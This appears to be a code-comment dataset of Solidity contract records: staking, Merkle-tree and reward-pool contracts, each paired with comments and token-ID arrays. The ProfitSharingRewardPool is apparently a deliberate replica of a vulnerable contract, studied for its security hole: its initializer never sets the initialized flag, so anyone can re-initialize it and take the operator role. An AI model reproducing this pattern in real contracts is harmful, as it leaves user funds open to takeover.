successful. */ function setRegistry(address _addr) public onlyOwner { require(_addr != address(0), "Address should be non-zero"); reg = IRegistry(_addr); } modifier onlyGov() { require(getGovAddress() == msg.sender, "No Permission"); _; } modifier onlyGovMem() { require(IGov(getGovAddress()).isMember(msg.sender), "No Permission"); _; } modifier anyGov() { require(getGovAddress() == msg.sender || IGov(getGovAddress()).isMember(msg.sender), "No Permission"); _; } function getContractAddress(bytes32 name) internal view returns (address) { return reg.getContractAddress(name); } function getGovAddress() internal view returns (address) { return getContractAddress(GOV_NAME); } function getStakingAddress() internal view returns (address) { return getContractAddress(STAKING_NAME); } function getBallotStorageAddress() internal view returns (address) { return getContractAddress(BALLOT_STORAGE_NAME); } function getEnvStorageAddress() internal view returns (address) { return getContractAddress(ENV_STORAGE_NAME); } function getRewardPoolAddress() internal view returns (address) { return getContractAddress(REWARD_POOL_NAME); } } contract Staking is GovChecker, ReentrancyGuard { using SafeMath for uint256; mapping(address => uint256) private _balance; mapping(address => uint256) private _lockedBalance; uint256 private _totalLockedBalance; bool private revoked = false; event Staked(address indexed payee, uint256 amount, uint256 total, uint256 available); event Unstaked(address indexed payee, uint256 amount, uint256 total, uint256 available); event Locked(address indexed payee, uint256 amount, uint256 total, uint256 available); event Unlocked(address indexed payee, uint256 amount, uint256 total, uint256 available); event TransferLocked(address indexed payee, uint256 amount, uint256 total, uint256 available); event Revoked(address indexed owner, uint256 amount); constructor(address registry, bytes data) public { _totalLockedBalance = 0; setRegistry(registry); if (data.length == 0) return; // []{address, amount} address addr; uint amount; uint ix; uint eix; assembly { ix := add(data, 0x20) } eix = ix + data.length; while (ix < eix) { assembly { amount := mload(ix) } addr = address(amount); ix += 0x20; require(ix < eix); assembly { amount := mload(ix) } ix += 0x20; _balance[addr] = amount; } } function () external payable { revert(); } /** * @dev Deposit from a sender. */ function deposit() external nonReentrant notRevoked payable { require(msg.value > 0, "Deposit amount should be greater than zero"); _balance[msg.sender] = _balance[msg.sender].add(msg.value); emit Staked(msg.sender, msg.value, _balance[msg.sender], availableBalanceOf(msg.sender)); } /** * @dev Withdraw for a sender. * @param amount The amount of funds will be withdrawn and transferred to. */ function withdraw(uint256 amount) external nonReentrant notRevoked { require(amount > 0, "Amount should be bigger than zero"); require(amount <= availableBalanceOf(msg.sender), "Withdraw amount should be equal or less than balance"); _balance[msg.sender] = _balance[msg.sender].sub(amount); msg.sender.transfer(amount); emit Unstaked(msg.sender, amount, _balance[msg.sender], availableBalanceOf(msg.sender)); } /** * @dev Lock fund * @param payee The address whose funds will be locked. * @param lockAmount The amount of funds will be locked. */ function lock(address payee, uint256 lockAmount) external onlyGov { if (lockAmount == 0) return; require(_balance[payee] >= lockAmount, "Lock amount should be equal or less than balance"); require(availableBalanceOf(payee) >= lockAmount, "Insufficient balance that can be locked"); _lockedBalance[payee] = _lockedBalance[payee].add(lockAmount); _totalLockedBalance = _totalLockedBalance.add(lockAmount); emit Locked(payee, lockAmount, _balance[payee], availableBalanceOf(payee)); } /** * @dev Transfer locked funds to governance * @param from The address whose funds will be transfered. * @param amount The amount of funds will be transfered. */ function transferLocked(address from, uint256 amount) external onlyGov { if (amount == 0) return; unlock(from, amount); _balance[from] = _balance[from].sub(amount); address rewardPool = getRewardPoolAddress(); _balance[rewardPool] = _balance[rewardPool].add(amount); emit TransferLocked(from, amount, _balance[from], availableBalanceOf(from)); } /** * @dev Unlock fund * @param payee The address whose funds will be unlocked. * @param unlockAmount The amount of funds will be unlocked. */ function unlock(address payee, uint256 unlockAmount) public onlyGov { if (unlockAmount == 0) return; // require(_lockedBalance[payee] >= unlockAmount, "Unlock amount should be equal or less than balance locked"); _lockedBalance[payee] = _lockedBalance[payee].sub(unlockAmount); _totalLockedBalance = _totalLockedBalance.sub(unlockAmount); emit Unlocked(payee, unlockAmount, _balance[payee], availableBalanceOf(payee)); } function balanceOf(address payee) public view returns (uint256) { return _balance[payee]; } function lockedBalanceOf(address payee) public view returns (uint256) { return _lockedBalance[payee]; } function availableBalanceOf(address payee) public view returns (uint256) { return _balance[payee].sub(_lockedBalance[payee]); } /** * @dev Calculate voting weight which range between 0 and 100. * @param payee The address whose funds were locked. */ function calcVotingWeight(address payee) public view returns (uint256) { return calcVotingWeightWithScaleFactor(payee, 1e2); } /** * @dev Calculate voting weight with a scale factor. * @param payee The address whose funds were locked. * @param factor The scale factor for weight. For instance: * if 1e1, result range is between 0 ~ 10 * if 1e2, result range is between 0 ~ 100 * if 1e3, result range is between 0 ~ 1000 */ function calcVotingWeightWithScaleFactor(address payee, uint32 factor) public view returns (uint256) { if (_lockedBalance[payee] == 0 || factor == 0) return 0; return _lockedBalance[payee].mul(factor).div(_totalLockedBalance); } function isRevoked() public view returns (bool) { return revoked; } modifier notRevoked(){ require(!revoked, "Is revoked"); _; } /** * @notice Allows the owner to revoke the staking. Coins already staked * staked funds are returned to the owner. */ function revoke() public onlyOwner notRevoked{ address contractOwner = owner(); uint256 balance = address(this).balance; require(balance > 0); contractOwner.transfer(balance); revoked = true; emit Revoked(contractOwner, balance); } } interface IGov { function isMember(address) external view returns (bool); function getMember(uint256) external view returns (address); function getMemberLength() external view returns (uint256); function getReward(uint256) external view returns (address); function getNodeIdxFromMember(address) external view returns (uint256); function getMemberFromNodeIdx(uint256) external view returns (address); function getNodeLength() external view returns (uint256); function getNode(uint256) external view returns (bytes, bytes, bytes, uint); function getBallotInVoting() external view returns (uint256); } interface IRegistry { function getContractAddress(bytes32) external view returns (address); }
* @dev Withdraw for a sender. @param amount The amount of funds will be withdrawn and transferred to./
function withdraw(uint256 amount) external nonReentrant notRevoked { require(amount > 0, "Amount should be bigger than zero"); require(amount <= availableBalanceOf(msg.sender), "Withdraw amount should be equal or less than balance"); _balance[msg.sender] = _balance[msg.sender].sub(amount); msg.sender.transfer(amount); emit Unstaked(msg.sender, amount, _balance[msg.sender], availableBalanceOf(msg.sender)); }
1,827,831
[ 1, 1190, 9446, 364, 279, 5793, 18, 225, 3844, 1021, 3844, 434, 284, 19156, 903, 506, 598, 9446, 82, 471, 906, 4193, 358, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 5034, 3844, 13, 3903, 1661, 426, 8230, 970, 486, 10070, 14276, 288, 203, 3639, 2583, 12, 8949, 405, 374, 16, 315, 6275, 1410, 506, 18983, 2353, 3634, 8863, 203, 3639, 2583, 12, 8949, 1648, 2319, 13937, 951, 12, 3576, 18, 15330, 3631, 315, 1190, 9446, 3844, 1410, 506, 3959, 578, 5242, 2353, 11013, 8863, 203, 203, 3639, 389, 12296, 63, 3576, 18, 15330, 65, 273, 389, 12296, 63, 3576, 18, 15330, 8009, 1717, 12, 8949, 1769, 203, 3639, 1234, 18, 15330, 18, 13866, 12, 8949, 1769, 203, 203, 3639, 3626, 1351, 334, 9477, 12, 3576, 18, 15330, 16, 3844, 16, 389, 12296, 63, 3576, 18, 15330, 6487, 2319, 13937, 951, 12, 3576, 18, 15330, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xC10BfCCB61dA2bD7882760c6CeCA8a5Be2545E30/sources/BasketDAOBurn.sol
second 0 means we want to withdraw link
(0xF178C0b5Bb7e7aBF4e12A4838C7b7c5bA2C623c0).call(abi.encodeWithSignature("remove_liquidity_one_coin(uint256,int128,uint256)",bal,0,0));
9,627,340
[ 1, 8538, 374, 4696, 732, 2545, 358, 598, 9446, 1692, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3196, 202, 12, 20, 16275, 4033, 28, 39, 20, 70, 25, 38, 70, 27, 73, 27, 69, 15259, 24, 73, 2138, 37, 8875, 7414, 39, 27, 70, 27, 71, 25, 70, 37, 22, 39, 26, 4366, 71, 20, 2934, 1991, 12, 21457, 18, 3015, 1190, 5374, 2932, 4479, 67, 549, 372, 24237, 67, 476, 67, 12645, 12, 11890, 5034, 16, 474, 10392, 16, 11890, 5034, 2225, 16, 70, 287, 16, 20, 16, 20, 10019, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; contract MerkleTree { // Event to synchronize with tree updates event UpdatedBranch( bytes32 indexed key, bytes32 indexed value, bytes32[160] updates // Hash updates for key, starting with root ); // Root of the tree. Used to validate state transitions bytes32 public root; // "key" denotes path from root to leaf (1 is right, 0 is left) mapping (bytes32 => bytes32) db; constructor() public { bytes32 empty_node = keccak256(abi.encodePacked(bytes32(0))); // Empty bytes32 value // Compute and set empty root hash for (uint i=0; i < 160; i++) empty_node = keccak256(abi.encodePacked(empty_node, empty_node)); root = empty_node; } function _set( bytes32 _key, bytes32 _value, bytes32[160] _proof ) private { // Start at the leaf bytes32 node_hash = keccak256(abi.encodePacked(db[_key])); // For recording the updated proof as we go (root->leaf order) bytes32[160] memory proof_updates; // Also start updates at leaf proof_updates[159] = keccak256(abi.encodePacked(_value)); // Validate each step of the proof is correct, traversing from leaf->root // Also, keep track of the merklized updates for (uint lvl = 159; lvl > 0; lvl--) { // Keypath is in MSB to LSB order (for root->leaf order), so traverse backwards: // (leaf is bit 0, root is bit 160) // Path traversal right is whether key has bit at `lvl` set if ( (uint(_key) & 1 << (160-1-lvl)) > 0 ) { // Path goes to right, so sibling is left // Record hash of current node and sibling node_hash = keccak256(abi.encodePacked(_proof[lvl], node_hash)); // Record hash of node update and sibling proof_updates[lvl-1] = keccak256(abi.encodePacked(_proof[lvl], proof_updates[lvl])); } else { // Path goes to left, so sibling is right // Record hash of current node and sibling node_hash = keccak256(abi.encodePacked(node_hash, _proof[lvl])); // Record hash of node update and sibling proof_updates[lvl-1] = keccak256(abi.encodePacked(proof_updates[lvl], _proof[lvl])); } } // Validate and update root hash using the same methodology if ( (uint(_key) & 1 << (160-1)) > 0 ) { // Path goes to right, so sibling is left // Show hash of prior update and sibling matches stored root require(root == keccak256(abi.encodePacked(_proof[0], node_hash))); // Update stored root to computed root update (for updated value) root = keccak256(abi.encodePacked(_proof[0], proof_updates[0])); } else { // Path goes to left, so sibling is right // Show hash of prior update and sibling matches stored root require(root == keccak256(abi.encodePacked(node_hash, _proof[0]))); // Update stored root to computed root update (for updated value) root = keccak256(abi.encodePacked(proof_updates[0], _proof[0])); } // Finally update value in db since we validated the proof db[_key] = _value; // Tell the others about the update! emit UpdatedBranch(_key, _value, proof_updates); } // Update these functions for whatever use case you have here function set( address _acct, uint256 _status, bytes32[160] _proof ) public { _set(bytes32(_acct), bytes32(_status), _proof); } function status(address _acct) public view returns (uint256) { return uint256(db[bytes32(_acct)]); } }
Update these functions for whatever use case you have here
function set( address _acct, uint256 _status, bytes32[160] _proof ) public { _set(bytes32(_acct), bytes32(_status), _proof); }
1,757,593
[ 1, 1891, 4259, 4186, 364, 15098, 999, 648, 1846, 1240, 2674, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 12, 203, 3639, 1758, 389, 1077, 299, 16, 203, 3639, 2254, 5034, 389, 2327, 16, 203, 3639, 1731, 1578, 63, 16874, 65, 389, 24207, 203, 565, 262, 203, 3639, 1071, 203, 565, 288, 203, 3639, 389, 542, 12, 3890, 1578, 24899, 1077, 299, 3631, 1731, 1578, 24899, 2327, 3631, 389, 24207, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import './SafeMath.sol'; import './Address.sol'; import './IERC20.sol'; import './SafeERC20.sol'; contract ProfitSharingRewardPool { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public constant BLOCKS_PER_DAY = 28800; // governance address public operator; address public reserveFund; // flags bool public initialized = false; // TODO: here lies the failure - shouldve been later set to True bool public publicAllowed = false; address public exchangeProxy; uint256 private _locked = 0; // Info of each user. struct UserInfo { uint256 amount; mapping(address => uint256) rewardDebt; mapping(address => uint256) reward; mapping(address => uint256) accumulatedEarned; // will accumulate every time user harvest mapping(address => uint256) lockReward; mapping(address => uint256) lockRewardReleased; uint256 lastStakeTime; } // Info of each rewardPool funding. struct RewardPoolInfo { address rewardToken; // Address of rewardPool token contract. uint256 lastRewardBlock; // Last block number that rewardPool distribution occurs. uint256 rewardPerBlock; // Reward token amount to distribute per block. uint256 accRewardPerShare; // Accumulated rewardPool per share, times 1e18. uint256 totalPaidRewards; } uint256 public startRewardBlock; uint256 public endRewardBlock; address public wbnb = address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); address public busd = address(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56); address public stakeToken; mapping(address => RewardPoolInfo) public rewardPoolInfo; // Info of each user that stakes LP tokens. mapping(address => UserInfo) public userInfo; event Initialized(address indexed executor, uint256 at); event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); event RewardPaid(address rewardToken, address indexed user, uint256 amount); event ResetUserInfo(address indexed user); /* ========== Modifiers =============== */ modifier onlyOperator() { require(operator == msg.sender, "ProfitSharingRewardPool: caller is not the operator"); _; } modifier onlyExchangeProxy() { require(exchangeProxy == msg.sender || operator == msg.sender, "ProfitSharingRewardPool: caller is not the exchangeProxy"); _; } modifier onlyReserveFund() { require(reserveFund == msg.sender || operator == msg.sender, "ProfitSharingRewardPool: caller is not the reserveFund"); _; } modifier lock() { require(_locked == 0, "ProfitSharingRewardPool: LOCKED"); _locked = 1; _; _locked = 0; } modifier notInitialized() { require(!initialized, "ProfitSharingRewardPool: initialized"); _; } modifier checkPublicAllow() { require(publicAllowed || msg.sender == operator, "!operator nor !publicAllowed"); _; } /* ========== GOVERNANCE ========== */ function initialize( address _stakeToken, address _wbnb, address _busd, address _reserveFund, uint256 _startRewardBlock ) public notInitialized { require(block.number < _startRewardBlock, "late"); stakeToken = _stakeToken; wbnb = _wbnb; busd = _busd; reserveFund = _reserveFund; startRewardBlock = _startRewardBlock; endRewardBlock = _startRewardBlock; operator = msg.sender; _locked = 0; setRewardPool(_wbnb, _startRewardBlock); setRewardPool(_busd, _startRewardBlock); // initialized = True; ====> TODO: this is the missing implementation } function setOperator(address _operator) external onlyOperator { operator = _operator; } function setExchangeProxy(address _exchangeProxy) external onlyExchangeProxy { exchangeProxy = _exchangeProxy; } function setReserveFund(address _reserveFund) external onlyReserveFund { reserveFund = _reserveFund; } /* ========== VIEW FUNCTIONS ========== */ function getRewardPerBlock( address _rewardToken, uint256 _from, uint256 _to ) public view returns (uint256) { uint256 _rewardPerBlock = rewardPoolInfo[_rewardToken].rewardPerBlock; if (_from >= _to || _from >= endRewardBlock) return 0; if (_to <= startRewardBlock) return 0; if (_from <= startRewardBlock) { if (_to <= endRewardBlock) return _to.sub(startRewardBlock).mul(_rewardPerBlock); else return endRewardBlock.sub(startRewardBlock).mul(_rewardPerBlock); } if (_to <= endRewardBlock) return _to.sub(_from).mul(_rewardPerBlock); else return endRewardBlock.sub(_from).mul(_rewardPerBlock); } function getRewardPerBlock(address _rewardToken) external view returns (uint256) { return getRewardPerBlock(_rewardToken, block.number, block.number + 1); } function pendingReward(address _rewardToken, address _account) external view returns (uint256) { UserInfo storage user = userInfo[_account]; RewardPoolInfo storage rewardPool = rewardPoolInfo[_rewardToken]; uint256 _accRewardPerShare = rewardPool.accRewardPerShare; uint256 lpSupply = IERC20(stakeToken).balanceOf(address(this)); uint256 _endRewardBlock = endRewardBlock; uint256 _endRewardBlockApplicable = block.number > _endRewardBlock ? _endRewardBlock : block.number; uint256 _lastRewardBlock = rewardPool.lastRewardBlock; if (_endRewardBlockApplicable > _lastRewardBlock && lpSupply != 0) { uint256 _incRewardPerShare = getRewardPerBlock(_rewardToken, _lastRewardBlock, _endRewardBlockApplicable).mul(1e18).div(lpSupply); _accRewardPerShare = _accRewardPerShare.add(_incRewardPerShare); } return user.amount.mul(_accRewardPerShare).div(1e18).add(user.reward[_rewardToken]).sub(user.rewardDebt[_rewardToken]); } /* ========== MUTATIVE FUNCTIONS ========== */ function setRewardPool(address _rewardToken, uint256 _startBlock) public lock onlyOperator { updateAllRewards(); rewardPoolInfo[_rewardToken] = RewardPoolInfo({ rewardToken: _rewardToken, lastRewardBlock: _startBlock, rewardPerBlock: 0, accRewardPerShare: 0, totalPaidRewards: 0 }); } function allocateMoreRewards( uint256 _wbnbAmount, uint256 _busdAmount, uint256 _days ) external onlyReserveFund { _allocateMoreRewards(wbnb, _wbnbAmount, _days); _allocateMoreRewards(busd, _busdAmount, _days); if (_days > 0) { if (endRewardBlock < block.number) { endRewardBlock = block.number.add(_days.mul(BLOCKS_PER_DAY)); } else { endRewardBlock = endRewardBlock.add(_days.mul(BLOCKS_PER_DAY)); } } } function _allocateMoreRewards( address _rewardToken, uint256 _addedReward, uint256 _days ) internal { uint256 _pendingBlocks = (endRewardBlock > block.number) ? endRewardBlock.sub(block.number) : 0; if (_pendingBlocks > 0 || _days > 0) { updateReward(_rewardToken); IERC20(_rewardToken).safeTransferFrom(msg.sender, address(this), _addedReward); uint256 _newPendingReward = rewardPoolInfo[_rewardToken].rewardPerBlock.mul(_pendingBlocks).add(_addedReward); uint256 _newPendingBlocks = _pendingBlocks.add(_days.mul(BLOCKS_PER_DAY)); rewardPoolInfo[_rewardToken].rewardPerBlock = _newPendingReward.div(_newPendingBlocks); } } function updateAllRewards() public { updateReward(wbnb); updateReward(busd); } function updateReward(address _rewardToken) public { RewardPoolInfo storage rewardPool = rewardPoolInfo[_rewardToken]; uint256 _endRewardBlock = endRewardBlock; uint256 _endRewardBlockApplicable = block.number > _endRewardBlock ? _endRewardBlock : block.number; uint256 _lastRewardBlock = rewardPool.lastRewardBlock; if (_endRewardBlockApplicable > _lastRewardBlock) { uint256 lpSupply = IERC20(stakeToken).balanceOf(address(this)); if (lpSupply > 0) { uint256 _incRewardPerShare = getRewardPerBlock(_rewardToken, _lastRewardBlock, _endRewardBlockApplicable).mul(1e18).div(lpSupply); rewardPool.accRewardPerShare = rewardPool.accRewardPerShare.add(_incRewardPerShare); } rewardPool.lastRewardBlock = _endRewardBlockApplicable; } } // Deposit LP tokens function _deposit(address _account, uint256 _amount) internal lock { UserInfo storage user = userInfo[_account]; getAllRewards(_account); user.amount = user.amount.add(_amount); address _wbnb = wbnb; address _busd = busd; user.rewardDebt[_wbnb] = user.amount.mul(rewardPoolInfo[_wbnb].accRewardPerShare).div(1e18); user.rewardDebt[_busd] = user.amount.mul(rewardPoolInfo[_busd].accRewardPerShare).div(1e18); emit Deposit(_account, _amount); } function deposit(uint256 _amount) external { IERC20(stakeToken).safeTransferFrom(msg.sender, address(this), _amount); _deposit(msg.sender, _amount); } function depositFor(address _account, uint256 _amount) external onlyExchangeProxy { IERC20(stakeToken).safeTransferFrom(msg.sender, address(this), _amount); _deposit(_account, _amount); } // Withdraw LP tokens. function _withdraw(address _account, uint256 _amount) internal lock { UserInfo storage user = userInfo[_account]; getAllRewards(_account); if (_amount > 0) { user.amount = user.amount.sub(_amount); IERC20(stakeToken).safeTransfer(_account, _amount); } address _wbnb = wbnb; address _busd = busd; user.rewardDebt[_wbnb] = user.amount.mul(rewardPoolInfo[_wbnb].accRewardPerShare).div(1e18); user.rewardDebt[_busd] = user.amount.mul(rewardPoolInfo[_busd].accRewardPerShare).div(1e18); emit Withdraw(_account, _amount); } function withdraw(uint256 _amount) external { _withdraw(msg.sender, _amount); } function claimReward() external { getAllRewards(msg.sender); } function getAllRewards(address _account) public { getReward(wbnb, _account); getReward(busd, _account); } function getReward(address _rewardToken, address _account) public { updateReward(_rewardToken); UserInfo storage user = userInfo[_account]; RewardPoolInfo storage rewardPool = rewardPoolInfo[_rewardToken]; uint256 _accRewardPerShare = rewardPool.accRewardPerShare; uint256 _pendingReward = user.amount.mul(_accRewardPerShare).div(1e18).sub(user.rewardDebt[_rewardToken]); if (_pendingReward > 0) { user.accumulatedEarned[_rewardToken] = user.accumulatedEarned[_rewardToken].add(_pendingReward); rewardPool.totalPaidRewards = rewardPool.totalPaidRewards.add(_pendingReward); user.rewardDebt[_rewardToken] = user.amount.mul(_accRewardPerShare).div(1e18); uint256 _paidAmount = user.reward[_rewardToken].add(_pendingReward); // Safe reward transfer, just in case if rounding error causes pool to not have enough reward amount uint256 _rewardBalance = IERC20(_rewardToken).balanceOf(address(this)); if (_rewardBalance < _paidAmount) { user.reward[_rewardToken] = _paidAmount; // pending, dont claim yet } else { user.reward[_rewardToken] = 0; _safeTokenTransfer(_rewardToken, _account, _paidAmount); emit RewardPaid(_rewardToken, _account, _paidAmount); } } } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw() external lock { UserInfo storage user = userInfo[msg.sender]; uint256 _amount = user.amount; user.amount = 0; user.rewardDebt[wbnb] = 0; user.rewardDebt[busd] = 0; user.reward[wbnb] = 0; user.reward[busd] = 0; IERC20(stakeToken).safeTransfer(msg.sender, _amount); emit EmergencyWithdraw(msg.sender, _amount); } // @garyb9: quality of life function - > not from the real contract! function resetUserInfo() external lock { UserInfo storage user = userInfo[msg.sender]; user.amount = 0; user.rewardDebt[wbnb] = 0; user.rewardDebt[busd] = 0; user.reward[wbnb] = 0; user.reward[busd] = 0; emit ResetUserInfo(msg.sender); } function _safeTokenTransfer( address _token, address _to, uint256 _amount ) internal { uint256 _tokenBal = IERC20(_token).balanceOf(address(this)); if (_amount > _tokenBal) { _amount = _tokenBal; } if (_amount > 0) { IERC20(_token).safeTransfer(_to, _amount); } } // This function allows governance to take unsupported tokens out of the contract. This is in an effort to make someone whole, should they seriously mess up. // There is no guarantee governance will vote to return these. It also allows for removal of airdropped tokens. function governanceRecoverUnsupported( IERC20 _token, uint256 amount, address to ) external onlyOperator { require(address(_token) != stakeToken, "stakeToken"); _token.safeTransfer(to, amount); } }
This function allows governance to take unsupported tokens out of the contract. This is in an effort to make someone whole, should they seriously mess up. There is no guarantee governance will vote to return these. It also allows for removal of airdropped tokens.
